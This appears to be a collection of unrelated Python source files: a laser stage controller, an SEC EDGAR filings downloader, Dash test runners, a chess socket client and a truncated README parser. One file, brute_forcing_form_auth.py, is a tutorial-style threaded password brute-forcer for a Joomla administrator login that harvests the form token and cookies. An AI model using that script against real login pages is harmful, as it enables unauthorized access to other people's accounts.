set_stage=False, block=True) if start_callback is not None: start_callback() lasing = True else: if verbose: self.info('slow to {} {},{}'.format(cnt, x1, yy)) sc.timer = sc.timer_factory() self.linear_move(x1, yy, mode='absolute', set_stage=False, velocity=velocity) if verbose: self.info('move to {}a {},{}'.format(cnt, x2, yy)) # if n > 2 and not i * 2 >= n: # line this scan line has more then 1 segment turn off laser at end of segment if i + 2 < n and not xs[i + 1] == xs[i + 2]: self.linear_move(x2, yy, velocity=velocity, mode='absolute', set_stage=False, block=True) self.info('wait for move complete') if end_callback is not None: end_callback() lasing = False else: self.linear_move(x2, yy, velocity=velocity, mode='absolute', set_stage=False, ) cnt += 1 flip = True else: flip = False if flip: direction *= -1 sc.block() if verbose: self.info('end raster') def _move_polyline(self, pts, start_callback=None, end_callback=None): if not isinstance(pts, list): segs = pts.velocity_segments segs = segs[:1] + segs pts = [dict(xy=(pi.x, pi.y), z=pi.z, velocity=vi) for vi, pi in zip(segs, pts.points)] sc = self.stage_controller self.linear_move(pts[0]['xy'][0], pts[0]['xy'][1], update_hole=False, use_calibration=False, block=True) sc.set_z(pts[0]['z'], block=True) cpos = dict() # set motors for motor in ('mask', 'attenuator'): if motor in pts[0]: self.parent.set_motor(motor, pts[0][motor]) cpos[motor] = pts[0][motor] sc.set_program_mode('absolute') sc.timer = sc.timer_factory() if start_callback: start_callback() npts = pts[1:] setmotors = dict() for i, di in enumerate(npts): xi, yi, zi, vi = di['xy'][0], di['xy'][1], di['z'], di['velocity'] sc.set_z(zi) block = False for motor in ('mask', 'attenuator'): # fix next step sets motor should block if i + 1 < len(npts): dii = npts[i + 1] if motor in dii and dii[motor] != cpos[motor]: m = self.parent.get_motor(motor) if not m.locked: block = True setmotors[motor] = dii[motor] self.linear_move(xi, yi, velocity=vi, block=block, mode='absolute', # use absolute mode because commands are queued set_stage=False) if block: if end_callback: end_callback() for k, v in setmotors.items(): self.parent.set_motor(k, v, block=True) if start_callback: start_callback() # wait until motion complete sc.block() if end_callback: end_callback() sc.set_program_mode('relative') # if start and smooth: # sc.execute_command_buffer() # sc.end_command_buffer() # def start_enqueued(self): # sc = self.stage_controller # sc.execute_command_buffer() # sc.end_command_buffer() def _move_to_point(self, pt): self.debug('move to point={}'.format(pt)) if isinstance(pt, str): pt = self.canvas.get_point(pt) self.debug('move to point canvas pt={}'.format(pt)) if pt is not None: pos = pt.x, pt.y self.info('Move to point {}: {:0.5f},{:0.5f},{:0.5f}'.format(pt.identifier, pt.x, pt.y, pt.z)) self.stage_controller.linear_move(block=True, *pos) if hasattr(pt, 'z'): self.stage_controller.set_z(pt.z, block=True) self.debug('Not setting motors for pt') # self.parent.set_motors_for_point(pt) self._move_to_point_hook() self.info('Move complete') self.update_axes() def _move_to_hole(self, key, correct_position=True, user_entry=False, autocenter_only=False): self.info('Move to hole {} type={}'.format(key, str(type(key)))) autocentered_position = False if not autocenter_only: self.temp_hole = key self.temp_position = self.stage_map.get_hole_pos(key) pos = self.stage_map.get_corrected_hole_pos(key) self.info('position {}'.format(pos)) if pos is not None: if abs(pos[0]) < 1e-6: pos = self.stage_map.get_hole_pos(key) # map the position to calibrated space pos = self.get_calibrated_position(pos, key=key) else: # check if this is an interpolated position # if so probably want to do an autocentering routine hole = self.stage_map.get_hole(key) if hole.interpolated: self.info('using an interpolated value') else: self.info('using previously calculated corrected position') autocentered_position = True try: self.stage_controller.linear_move(block=True, source='move_to_hole {}'.format(pos), raise_zero_displacement=True, *pos) except TargetPositionError as e: self.warning('(001) Move to {} failed'.format(pos)) self.parent.emergency_shutoff(str(e)) return except ZeroDisplacementException: correct_position = False try: self._move_to_hole_hook(key, correct_position, autocentered_position) except TargetPositionError as e: self.warning('(002) Move failed. {}'.format(e)) self.parent.emergency_shutoff(str(e)) return self.finish_move_to_hole(user_entry) self.info('Move complete') def _move_to_hole_hook(self, *args): pass def _move_to_point_hook(self): pass # =============================================================================== # Property Get / Set # =============================================================================== def _set_stage_map(self, v): if v in self.stage_map_names: for root, ext in ((self.root, '.txt'), (paths.user_points_dir, '.yaml')): p = os.path.join(root, add_extension(v, ext)) if os.path.isfile(p): self.info('setting stage map to {}'.format(v)) sm = self.stage_map_klass(file_path=p) self.canvas.set_map(sm) self.tray_calibration_manager.load_calibration(stage_map=v) self.points_programmer.load_stage_map(sm) return True else: self.warning('No stage map named "{}"'.format(v)) return False def _get_calibrate_stage_label(self): if self._calibration_state == 'set_center': r = 'Locate Center' elif self._calibration_state == 'set_right': r = 'Locate Right' else: r = 'Calibrate Stage' return r def _get_program_points_label(self): return 'Program Points' if not self.canvas.markup else 'End Program' def _validate_hole(self, v): nv = None try: if v.strip(): nv = int(v) except TypeError: self.warning('invalid hole {}'.format(v)) return nv # def _get_calibrated_position_entry(self): # return self._calibrated_position # # def _set_calibrated_position_entry(self, v): # self._calibrated_position = v # if XY_REGEX.match(v): # self._move_to_calibrated_position(v) # else: # self.move_to_hole(v) def _move_to_calibrated_position(self, pos): try: args = csv_to_floats(pos) except ValueError: self.warning('invalid calibrated position "{}". Could not convert to floats'.format(pos)) return if len(args) == 2: x, y = args self.linear_move(x, y, use_calibration=True, block=False) else: self.warning('invalid calibrated position. incorrect number of arguments "{}"'.format(args)) def _set_point(self, v): if self.canvas.calibrate: self.warning_dialog('Cannot move while calibrating') return if self.canvas.markup: self.warning_dialog('Cannot move while adding/editing points') return if (self.move_thread is None or not self.move_thread.isRunning()) and v is not self._point: pos = self.canvas.get_item('point', int(v) - 1) if pos is not None: self._point = v self.move_thread = Thread(target=self._move_to_point, args=(pos,)) self.move_thread.start() else: err = 'Invalid point {}'.format(v) self.warning(err) return err def _get_point(self): return self._point # =============================================================================== # handlers # =============================================================================== def _manual_override_position_button_fired(self): sm = self.stage_map pos = self.calibrated_position_entry hole = self.stage_map.get_hole(pos) if hole is not None: x, y = self.stage_controller.x, self.stage_controller.y sm.set_hole_correction(pos, x, y) sm.dump_correction_file() self.info('updated {} correction file. Saved {}: {},{}'.format(sm.name, pos, x, y)) def _stop_button_fired(self): self._stop() def _ejoystick_fired(self): self.joystick = not self.joystick if self.joystick: self.stage_controller.enable_joystick() self.joystick_label = 'Disable Joystick' self.joystick_timer = self.timer_factory(func=self._joystick_inprogress_update) else: if self.joystick_timer is not None: self.joystick_timer.Stop() self.stage_controller.disable_joystick() self.joystick_label = 'Enable Joystick' def _home_fired(self): """ """ t = Thread(name='stage.home', target=self._home) t.start() # need to store a reference to thread so it is not garbage collected self.move_thread = t # do_later(self._home) def _test_fired(self): # self.do_pattern('testpattern') self.do_pattern('pattern003') # =============================================================================== # factories # =============================================================================== def _motion_configure_factory(self, **kw): return MotionControllerManager(motion_controller=self.stage_controller, application=self.application, **kw) def _stage_controller_factory(self): if self.stage_controller_klass == 'Newport': from pychron.hardware.newport.newport_motion_controller import NewportMotionController factory = NewportMotionController elif self.stage_controller_klass == 'Aerotech': from pychron.hardware.aerotech.aerotech_motion_controller import AerotechMotionController factory = AerotechMotionController m = factory(name='{}controller'.format(self.name), configuration_name='stage_controller', configuration_dir_name=self.configuration_dir_name, parent=self) return m def _canvas_factory(self): """ """ w = 640 / 2.0 / 23.2 h = 0.75 * w l = LaserTrayCanvas(stage_manager=self, padding=[30, 5, 5, 30], map=self.stage_map, view_x_range=[-w, w], view_y_range=[-h, h]) return l # =============================================================================== # defaults # =============================================================================== def _motion_controller_manager_default(self): return self._motion_configure_factory() def _title_default(self): return '%s Stage Manager' % self.name[:-5].capitalize() def _points_programmer_default(self): pp = PointsProgrammer(canvas=self.canvas, stage_map_klass=self.stage_map_klass, stage_manager=self) pp.on_trait_change(self.move_to_point, 'point') pp.on_trait_change(self.move_polygon, 'polygon') pp.on_trait_change(self.move_polyline, 'line') return pp # =============================================================================== # mass spec hacks # =============================================================================== # _temp_position = None # def _get_temp_position(self): # return self._temp_position # # def _set_temp_position(self, v): # self._temp_position = v # # temp_position = property(fget=_get_temp_position, # fset=_set_temp_position) if __name__ == '__main__': from pychron.core.helpers.logger_setup import logging_setup logging_setup('stage_manager') name = 'diode' s = StageManager( name='{}stage'.format(name), configuration_dir_name=name, # parent = DummyParent(), window_width=945, window_height=545 ) # from pychron.initializer import Initializer # # i = Initializer() # i.add_initialization(dict(name = 'stage_manager', # manager = s # )) # i.run() # s.update_axes() s.load() s.stage_controller.bootstrap() s.configure_traits() # ========================EOF============================ # view groups # =============================================================================== # def _hole__group__(self): # g = Group(HGroup(Item('hole'), spring)) # return g # def _position__group__(self): # g = Group(HGroup(Item('calibrated_position_entry', label='Position', # tooltip='Enter a x,y point in reference frame space', # ), spring)) # g = Group( # Item('calibrated_position_entry', # show_label=False, # tooltip='Enter a positon e.g 1 for a hole, or 3,4 for X,Y' # ), label='Calibrated Position', # show_border=True) # return g # def _button__group__(self): # ''' # ''' # vg = VGroup() # # home = self._button_factory(*self.buttons[0]) # calibrate_stage = self._button_factory(*self.buttons[1]) # # vg.content.append(HGroup(calibrate_stage, home, # Item('home_option', # editor=EnumEditor(values=self.home_options), # show_label=False))) # # if len(self.buttons) > 2: # # vg.content.append(self._button_group_factory(self.buttons[:2], orientation = 'h')) # vg.content.append(self._button_group_factory(self.buttons[2:], orientation='h')) # return vg # def _axis__group__(self): # ''' # ''' # return Item('stage_controller', show_label=False, style='custom') # # # def _sconfig__group__(self): # ''' # ''' # return Group( # # Item('pattern_manager', # # label='Pattern', # # editor=InstanceEditor(view='execute_view'), # # show_label=False, style='custom' # # ), # # Group( # Item('canvas', show_label=False, # editor=InstanceEditor(view='config_view'), # style='custom' # ), # label='Canvas'), # # # Group(Item('motion_controller_manager', editor=InstanceEditor(view='configure_view'), # # style='custom', show_label=False), # # Item('motion_profiler', style='custom', show_label=False), # # label='Motion' # # ), # # # Group( # # self._button_factory('program_points', 'program_points_label'), # # Item('accept_point', show_label=False), # # Item('load_points', show_label=False), # # Item('save_points', show_label=False), # # Item('clear_points', show_label=False), # # label='Points'), # Item('points_programmer', # label='Points', # show_label=False, style='custom'), # Item('tray_calibration_manager', # label='Calibration', # show_label=False, style='custom'), # # Item('pattern_manager', # # label='Pattern', # # editor=InstanceEditor(view='execute_view'), # # show_label=False, style='custom' # # ), # # # Item('output', show_label = False, style = 'custom'), # # # Item('jog_manager', show_label = False, style = 'custom', # # resizable=False # # ), # layout='tabbed' # )
_index.py
import asyncio import os import re import shutil import tempfile from abc import abstractmethod from collections import namedtuple from queue import Empty, Queue from threading import Thread from secedgar.client import NetworkClient from secedgar.core._base import AbstractFiling from secedgar.exceptions import EDGARQueryError from secedgar.utils import make_path class IndexFilings(AbstractFiling): """Abstract Base Class for index filings. Args: client (secedgar.client._base, optional): Client to use. Defaults to ``secedgar.client.NetworkClient``. entry_filter (function, optional): A boolean function to determine if the FilingEntry should be kept. E.g. `lambda l: l.form_type == "4"`. Defaults to `None`. kwargs: Any keyword arguments to pass to ``NetworkClient`` if no client is specified. """ def __init__(self, client=None, entry_filter=None, **kwargs): super().__init__() self._client = client if client is not None else NetworkClient(**kwargs) self._listings_directory = None self._master_idx_file = None self._filings_dict = None self._paths = [] self._urls = {} self.entry_filter = entry_filter @property def entry_filter(self): """A boolean function to be tested on each listing entry. This is tested regardless of download method. """ return self._entry_filter @entry_filter.setter def entry_filter(self, fn): if callable(fn): self._entry_filter = fn else: raise ValueError('entry_filter must be a function or lambda.') @property def client(self): """``secedgar.client._base``: Client to use to make requests.""" return self._client @property def params(self): """Params should be empty.""" return {} @property @abstractmethod def year(self): """Passed to children classes.""" pass # pragma: no cover @property @abstractmethod def quarter(self): """Passed to children classes.""" pass # pragma: no cover @property @abstractmethod def idx_filename(self): """Passed to children classes.""" pass # pragma: no cover @abstractmethod def _get_tar_urls(self): """Passed to child classes.""" pass # pragma: no cover @property def tar_path(self): """str: Tar.gz path added to the client base.""" return "Archives/edgar/Feed/{year}/QTR{num}/".format(year=self.year, num=self.quarter) def _get_listings_directory(self, update_cache=False, **kwargs): """Get page with list of all idx files for given date or quarter. Args: update_cache (bool, optional): Whether quarterly directory should update cache. Defaults to False. kwargs: Any keyword arguments to pass to the client's `get_response` method. Returns: response (requests.Response): Response object from page with all idx files for given quarter and year. """ if self._listings_directory is None or update_cache: self._listings_directory = self.client.get_response( self.path, self.params, **kwargs) return self._listings_directory def _get_master_idx_file(self, update_cache=False, **kwargs): """Get master file with all filings from given date. Args: update_cache (bool, optional): Whether master index should be updated method call. Defaults to False. kwargs: Keyword arguments to pass to ``secedgar.client._base.AbstractClient.get_response``. Returns: text (str): Idx file text. Raises: EDGARQueryError: If no file of the form master.<DATE>.idx is found. """ if self._master_idx_file is None or update_cache: if self.idx_filename in self._get_listings_directory().text: master_idx_url = "{path}{filename}".format( path=self.path, filename=self.idx_filename) self._master_idx_file = self.client.get_response( master_idx_url, self.params, **kwargs).text else: raise EDGARQueryError("""File {filename} not found. There may be no filings for the given day/quarter.""" .format(filename=self.idx_filename)) return self._master_idx_file def get_filings_dict(self, update_cache=False, **kwargs): """Get all filings inside an idx file. Args: update_cache (bool, optional): Whether filings dict should be updated on each method call. Defaults to False. kwargs: Any kwargs to pass to _get_master_idx_file. See ``secedgar.core.daily.DailyFilings._get_master_idx_file``. """ if self._filings_dict is None or update_cache: idx_file = self._get_master_idx_file(**kwargs) # Will have CIK as keys and list of FilingEntry namedtuples as values self._filings_dict = {} FilingEntry = namedtuple("FilingEntry", [ "cik", "company_name", "form_type", "date_filed", "file_name", "path", "num_previously_valid" ]) # idx file will have lines of the form CIK|Company Name|Form Type|Date Filed|File Name current_count = 0 entries = re.findall(r'^[0-9]+[|].+[|].+[|][0-9\-]+[|].+$', idx_file, re.MULTILINE) for entry in entries: fields = entry.split("|") path = "Archives/{file_name}".format(file_name=fields[-1]) entry = FilingEntry(*fields, path=path, num_previously_valid=current_count) if self.entry_filter is not None and not self.entry_filter( entry): continue current_count += 1 # Add new filing entry to CIK's list if entry.cik in self._filings_dict: self._filings_dict[entry.cik].append(entry) else: self._filings_dict[entry.cik] = [entry] return self._filings_dict def get_urls(self): """Get all URLs for day. Expects client _BASE to have trailing "/" for final URLs. Returns: urls (list of str): List of all URLs to get. """ if not self._urls: filings_dict = self.get_filings_dict() self._urls = { company: [self.client._prepare_query(entry.path) for entry in entries] for company, entries in filings_dict.items() } return self._urls @staticmethod def _do_create_and_copy(q): """Create path and copy file to end of path. Args: q (Queue.queue): Queue to get filename, new directory, and old path information from. """ while True: try: filename, new_dir, old_path = q.get(timeout=1) except Empty: return make_path(new_dir) path = os.path.join(new_dir, filename) shutil.copyfile(old_path, path) q.task_done() @staticmethod def _do_unpack_archive(q, extract_directory): """Unpack archive file in given extract directory. Args: q (Queue.queue): Queue to get filname from. extract_directory (): Where to extract archive file. """ while True: try: filename = q.get(timeout=1) except Empty: return shutil.unpack_archive(filename, extract_directory) os.remove(filename) q.task_done() def _unzip(self, extract_directory): """Unzips files from tar files into extract directory. Args: extract_directory (str): Temporary path to extract files to. Note that this directory will be completely removed after files are unzipped. """ # Download tar files asynchronously into extract_directory tar_urls = self._get_tar_urls() inputs = [(url, os.path.join(extract_directory, url.split('/')[-1])) for url in tar_urls] loop = asyncio.get_event_loop() loop.run_until_complete(self.client.wait_for_download_async(inputs)) tar_files = [p for _, p in inputs] unpack_queue = Queue(maxsize=len(tar_files)) unpack_threads = len(tar_files) for _ in range(unpack_threads): worker = Thread(target=self._do_unpack_archive, args=(unpack_queue, extract_directory)) worker.start() for f in tar_files: full_path = os.path.join(extract_directory, f) unpack_queue.put_nowait(full_path) unpack_queue.join() def _move_to_dest(self, urls, extract_directory, directory, file_pattern, dir_pattern): """Moves all files from extract_directory into proper final format in directory. Args: urls (dict): Dictionary of URLs that were retrieved. See ``secedgar.core._index.IndexFilings.get_urls()`` for more. extract_directory (str): Location of extract directory as used in ``secedgar.core.daily.DailyFilings._unzip`` directory (str): Final parent directory to move files to. dir_pattern (str): Format string for subdirectories. Default is `{cik}`. Valid options are `cik`. See ``save`` method for more. file_pattern (str): Format string for files. Default is `{accession_number}`. Valid options are `accession_number`. See ``save`` method for more. """ # Allocate threads to move files according to pattern link_list = [item for links in urls.values() for item in links] move_queue = Queue(maxsize=len(link_list)) move_threads = 64 for _ in range(move_threads): worker = Thread(target=self._do_create_and_copy, args=(move_queue,)) worker.start() (_, _, extracted_files) = next(os.walk(extract_directory)) for link in link_list: link_cik = link.split('/')[-2] link_accession = self.get_accession_number(link) filepath = link_accession.split('.')[0] possible_endings = ('nc', 'corr04', 'corr03', 'corr02', 'corr01') for ending in possible_endings: full_filepath = filepath + '.' + ending # If the filepath is found, move it to the correct path if full_filepath in extracted_files: formatted_dir = dir_pattern.format(cik=link_cik) formatted_file = file_pattern.format( accession_number=link_accession) old_path = os.path.join(extract_directory, full_filepath) full_dir = os.path.join(directory, formatted_dir) move_queue.put_nowait((formatted_file, full_dir, old_path)) break move_queue.join() def _save_filings(self, directory, dir_pattern="{cik}", file_pattern="{accession_number}", download_all=False, **kwargs): """Save all filings. Will store all filings under the parent directory of ``directory``, further separating filings using ``dir_pattern`` and ``file_pattern``. Args: directory (str): Directory where filings should be stored. dir_pattern (str): Format string for subdirectories. Default is `{cik}`. Valid options are `{cik}`. file_pattern (str): Format string for files. Default is `{accession_number}`. Valid options are `{accession_number}`. download_all (bool): Type of downloading system, if true downloads all tar files, if false downloads each file in index. Default is `False`. """ urls = self.get_urls_safely(**kwargs) if download_all: with tempfile.TemporaryDirectory() as tmpdir: self._unzip(extract_directory=tmpdir) # Apply folder structure by moving to final directory self._move_to_dest(urls=urls, extract_directory=tmpdir, directory=directory, file_pattern=file_pattern, dir_pattern=dir_pattern) else: inputs = [] for company, links in urls.items(): formatted_dir = dir_pattern.format(cik=company) for link in links: formatted_file = file_pattern.format( accession_number=self.get_accession_number(link)) path = os.path.join(directory, formatted_dir, formatted_file) inputs.append((link, path)) loop = asyncio.get_event_loop() loop.run_until_complete(self.client.wait_for_download_async(inputs))
brute_forcing_form_auth.py
#!/usr/bin/env python __author__ = "bt3" """ Now we are going to learn how to brute force a web server. Most web system have brute-force protection these days, such as captcha, math equations or a login token that has to be submitted with request. In this script we will brute force Joomla, whih lack account lockouts or strong captchas by default. To brute force it, we need to retrieve the login token from the login before submitting the password attempt and ensure that we accept cookies in the session. 1) Install Joomla: https://docs.joomla.org/J3.x:Installing_Joomla 2) Fire ```target/administrator''' and find PHP elements We see that the form gets submitted to the ```/administrator/index.php``` path as an HTTP POST. You also see that there is a name attribute set to a long, randomized string. This srting is checked against current user session, stored in a cookie that is passed in the session: 1. Retriever the login page and accept all cookies that are returned. 2. Parse out all of the form elements from HTML. 3. Set the username/passowrd to a guess from dicitonary (https://code.google.com/p/grimwepa/downloads/detail?name=cain.txt) 4. Send an HTTP POST to the login processing script including all HTML form fields and our stored cookies. 5. Test to see if we have sucessfully logged into the web app. """ import urllib2 import urllib import cookielib import threading import sys import Queue from HTMLParser import HTMLParser from brute_forcing_locations import build_wordlist THREAD = 10 USERNAME = 'admin' WORDLIST = '../files_and_dir_lists/passwords/cain.txt' RESUME = None # where the script donwload and parse HTML TARGET_URL = 'http://localhost:80/admininstrator/index.php' # where to submit the brute-force TARGET_POST = 'http://localhost:80/admininstrator/index.php' USERNAME_FIELD = 'username' PASSWORD_FIELD = 'passwd' # check for after each brute-forcing attempting to determine sucess SUCESS_CHECK = 'Administration - Control Panel' class Bruter(object): def __init__(self, username, words): self.username = username self.password_q = words self.found = False print 'Finished setting up for: ' + username def run_bruteforce(self): for i in range(THREAD): t = threading.Thread(target=self.web_bruter) t.start() def web_bruter(self): while not self.password_q.empty() and not self.found: brute = self.password_q.get().rstrip() # after we grab our password attempt, we set the cookie jar, # and this calss will store cookies in the cookies file jar = cookielib.FileCookieJar('cookies') # initialize the urllib2 opener opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) response = opener.open(TARGET_URL) page = response.read() print "Trying: %s : %s (%d left)" %(self.username, brute, \ self.passwd_q.qsize()) # parse out the hidden fields # make the initial request to retrieve the login form # when we have the raw html we pass it off our html parser # and call its feed method, which returns a dictionary of all # the retrieved form elements parser = BruteParser() parser.feed(page) post_tags = parser.tag_results # add our username and password fields post_tags[USERNAME_FIELD] = self.username post_tags[PASSWORD_FIELD] = brute # URL encode the POST variables and pass it to the # HTTP request login_data = urllib.urlencode(post_tags) login_response = opener.open(TARGET_POST, login_data) login_result = login_response.read() if SUCESS_CHECK in login_result: self.found = True print '[*] Bruteforce successful.' print '[*] Username: ' + username print '[*] Password: ' + brute print '[*] Waiting for the other threads to exit...' # core of our HTML processing: the HTML parsing class to use # against the target. class BruteParser(HTMLParser): def __init__(self): HTMLParser.__init__(self) # creaaate a dictionary for results self.tag_results = {} # called whenever a tag is found def handle_starttag(self, tag, attrs): # we are look for input tags if tag == 'input': tag_name = None tag_value = None for name, value in attrs: if name == 'name': tag_name = value if name == 'value': tag_value = value if tag_name is not None: self.tag_results[tag_name] = value if __name__ == '__main__': words = build_wordlist(WORDLIST) brute_obj = Bruter(USERNAME, words) brute_obj.run_bruteforce()
application_runners.py
from __future__ import print_function import sys import os import uuid import shlex import threading import subprocess import logging import inspect import runpy import future.utils as utils import flask import requests from dash.testing.errors import ( NoAppFoundError, TestingTimeoutError, ServerCloseError, ) import dash.testing.wait as wait logger = logging.getLogger(__name__) def import_app(app_file, application_name="app"): """Import a dash application from a module. The import path is in dot notation to the module. The variable named app will be returned. :Example: >>> app = import_app("my_app.app") Will import the application in module `app` of the package `my_app`. :param app_file: Path to the app (dot-separated). :type app_file: str :param application_name: The name of the dash application instance. :raise: dash_tests.errors.NoAppFoundError :return: App from module. :rtype: dash.Dash """ try: app_module = runpy.run_module(app_file) app = app_module[application_name] except KeyError: logger.exception("the app name cannot be found") raise NoAppFoundError( "No dash `app` instance was found in {}".format(app_file) ) return app class BaseDashRunner(object): """Base context manager class for running applications.""" def __init__(self, keep_open, stop_timeout): self.port = 8050 self.started = None self.keep_open = keep_open self.stop_timeout = stop_timeout def start(self, *args, **kwargs): raise NotImplementedError # pragma: no cover def stop(self): raise NotImplementedError # pragma: no cover @staticmethod def accessible(url): try: requests.get(url) except requests.exceptions.RequestException: return False return True def __call__(self, *args, **kwargs): return self.start(*args, **kwargs) def __enter__(self): return self def __exit__(self, exc_type, exc_val, traceback): if self.started and not self.keep_open: try: logger.info("killing the app runner") self.stop() except TestingTimeoutError: raise ServerCloseError( "Cannot stop server within {}s timeout".format( self.stop_timeout ) ) @property def url(self): """The default server url.""" return "http://localhost:{}".format(self.port) @property def is_windows(self): return sys.platform == "win32" class ThreadedRunner(BaseDashRunner): """Runs a dash application in a thread. This is the default flavor to use in dash integration tests. """ def __init__(self, keep_open=False, stop_timeout=3): super(ThreadedRunner, self).__init__( keep_open=keep_open, stop_timeout=stop_timeout ) self.stop_route = "/_stop-{}".format(uuid.uuid4().hex) self.thread = None @staticmethod def _stop_server(): # https://werkzeug.palletsprojects.com/en/0.15.x/serving/#shutting-down-the-server stopper = flask.request.environ.get("werkzeug.server.shutdown") if stopper is None: raise RuntimeError("Not running with the Werkzeug Server") stopper() return "Flask server is shutting down" # pylint: disable=arguments-differ,C0330 def start(self, app, **kwargs): """Start the app server in threading flavor.""" app.server.add_url_rule( self.stop_route, self.stop_route, self._stop_server ) def _handle_error(): self._stop_server() app.server.errorhandler(500)(_handle_error) def run(): app.scripts.config.serve_locally = True app.css.config.serve_locally = True if "port" not in kwargs: kwargs["port"] = self.port else: self.port = kwargs["port"] app.run_server(threaded=True, **kwargs) self.thread = threading.Thread(target=run) self.thread.daemon = True try: self.thread.start() except RuntimeError: # multiple call on same thread logger.exception("threaded server failed to start") self.started = False self.started = self.thread.is_alive() # wait until server is able to answer http request wait.until(lambda: self.accessible(self.url), timeout=1) def stop(self): requests.get("{}{}".format(self.url, self.stop_route)) wait.until_not(self.thread.is_alive, self.stop_timeout) class ProcessRunner(BaseDashRunner): """Runs a dash application in a waitress-serve subprocess. This flavor is closer to production environment but slower. """ def __init__(self, keep_open=False, stop_timeout=3): super(ProcessRunner, self).__init__( keep_open=keep_open, stop_timeout=stop_timeout ) self.proc = None # pylint: disable=arguments-differ def start( self, app_module=None, application_name="app", raw_command=None, port=8050, start_timeout=3, ): """Start the server with waitress-serve in process flavor.""" if not (app_module or raw_command): # need to set a least one logging.error( "the process runner needs to start with" " at least one valid command" ) return self.port = port args = shlex.split( raw_command if raw_command else "waitress-serve --listen=0.0.0.0:{} {}:{}.server".format( port, app_module, application_name ), posix=not self.is_windows, ) logger.debug("start dash process with %s", args) try: self.proc = subprocess.Popen( args, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) # wait until server is able to answer http request wait.until( lambda: self.accessible(self.url), timeout=start_timeout ) except (OSError, ValueError): logger.exception("process server has encountered an error") self.started = False self.stop() return self.started = True def stop(self): if self.proc: try: self.proc.terminate() if utils.PY3: # pylint:disable=no-member _except = subprocess.TimeoutExpired # pylint: disable=unexpected-keyword-arg self.proc.communicate(timeout=self.stop_timeout) else: _except = OSError self.proc.communicate() except _except: logger.exception( "subprocess terminate not success, trying to kill " "the subprocess in a safe manner" ) self.proc.kill() self.proc.communicate() class RRunner(ProcessRunner): def __init__(self, keep_open=False, stop_timeout=3): super(RRunner, self).__init__( keep_open=keep_open, stop_timeout=stop_timeout ) self.proc = None # pylint: disable=arguments-differ def start(self, app, start_timeout=2, cwd=None): """Start the server with subprocess and Rscript.""" # app is a R string chunk if os.path.isfile(app) and os.path.exists(app): # app is already a file in a dir - use that as cwd if not cwd: cwd = os.path.dirname(app) logger.info("RRunner inferred cwd from app path: %s", cwd) else: path = ( "/tmp/app_{}.R".format(uuid.uuid4().hex) if not self.is_windows else os.path.join( (os.getenv("TEMP"), "app_{}.R".format(uuid.uuid4().hex)) ) ) logger.info("RRunner start => app is R code chunk") logger.info("make a temporary R file for execution => %s", path) logger.debug("content of the dashR app") logger.debug("%s", app) with open(path, "w") as fp: fp.write(app) app = path # try to find the path to the calling script to use as cwd if not cwd: for entry in inspect.stack(): if "/dash/testing/" not in entry[1].replace("\\", "/"): cwd = os.path.dirname(os.path.realpath(entry[1])) break if cwd: logger.info( "RRunner inferred cwd from the Python call stack: %s", cwd ) else: logger.warning( "RRunner found no cwd in the Python call stack. " "You may wish to specify an explicit working directory " "using something like: " "dashr.run_server(app, cwd=os.path.dirname(__file__))" ) logger.info("Run dashR app with Rscript => %s", app) args = shlex.split( "Rscript {}".format(os.path.realpath(app)), posix=not self.is_windows, ) logger.debug("start dash process with %s", args) try: self.proc = subprocess.Popen( args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=cwd ) # wait until server is able to answer http request wait.until( lambda: self.accessible(self.url), timeout=start_timeout ) except (OSError, ValueError): logger.exception("process server has encountered an error") self.started = False return self.started = True
chess_client.py
import socket from threading import Thread class NoPlayerActive(Exception): pass """ class: Connection - used for connecting user to server and join online games """ class Connection: def __init__(self): self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server = "localhost" #change to hosting server self.port = 2020 #change to hosting port self.addr = (self.server, self.port) self.resp = [] self.connect() def connect(self): """Connect user to server.""" try: self.client.connect(self.addr) except ConnectionRefusedError: print("ConectionRefusedERROR: Connection not Available at this Time.") raise def disconnect(self): """Disconnect user to server.""" self.client.close() def send(self, msg:str): """Send message to server.""" try: self.client.send(msg.encode()) except socket.error as e: print(e) def listen(self): """Listen for server message by using a thread.""" Thread(target=self.sub_listen).start() def sub_listen(self): """Listen from server with thread.""" self.resp.clear() msg = self.client.recv(1024).decode() self.resp.insert(0, msg) print(f"msg: {msg}") def init_player(self): """Listen for response from server to start game.""" msg = self.client.recv(1024).decode() print(msg) if msg=="TIMEOUT": print("NoPlayerActive: No players active at this time.") raise NoPlayerActive("No players active at this time.") return msg
poets.py
#!/usr/bin/env python3 from __future__ import annotations import json import os import re import sys import threading from queue import Queue from typing import Iterable, cast, TypedDict import click import marko import marko.inline import toml from loguru import logger LOGGING_LEVELS = [99, 50, 40, 30, 25, 20, 10, 5] SOURCE_PACKAGE_JSON = "packageJson" SOURCE_PROJECT_TOML = "pyprojectToml" SOURCE_README_MD = "readmeMd" SOURCE_README_RST = "readmeRst" SOURCE_POETS_JSON = "poetsJson" DESCRIPTION_SOURCE_PRIORITY = [ SOURCE_POETS_JSON, SOURCE_PACKAGE_JSON, SOURCE_PROJECT_TOML, SOURCE_README_RST, SOURCE_README_MD, ] class Description(TypedDict): title: str subtitle: str def file_to_string(path: str) -> str: with open(path) as f: return f.read() def is_badge_line(node: marko.block.Paragraph) -> bool: if not hasattr(node, "children"): return False for k in node.children: if isinstance(k, marko.inline.LineBreak): continue elif isinstance(k, marko.inline.Link): if ( k.children and len(k.children) == 1 and isinstance(k.children[0], marko.inline.Image) ): continue else: return True elif isinstance(k, marko.inline.Image): continue elif not get_string_from_markdown_ast(k).strip(): continue else: logger.debug( "found non-badge element {} {}", get_string_from_markdown_ast(k), k ) return False return True def get_string_from_markdown_ast( node: marko.inline.InlineElement | str | marko.block.Heading | marko.block.SetextHeading, base=0, ) -> str: # run again on string if isinstance(node, marko.inline.RawText): k = get_string_from_markdown_ast(node.children, base + 1) # use space to replace linebreaks in order to save space elif isinstance(node, marko.inline.LineBreak): k = " " # skip image alt texts elif isinstance(node, marko.inline.Image): k = "" # skip blocks elif isinstance(node, (marko.block.LinkRefDef, marko.block.ThematicBreak)): k = "" elif isinstance(node, marko.block.BlankLine): k = " " elif isinstance(node, str): k = node else: k = "".join([get_string_from_markdown_ast(t, base + 1) for t in node.children]) return k def get_description_from_readmeMd(markdown: str) -> Description: parser = marko.parser.Parser() ast = cast(marko.block.BlockElement, parser.parse(markdown)) description: Description = {"title": "", "subtitle": ""} for block in ast.children: # skip blank lines if isinstance(block, marko.block.BlankLine): 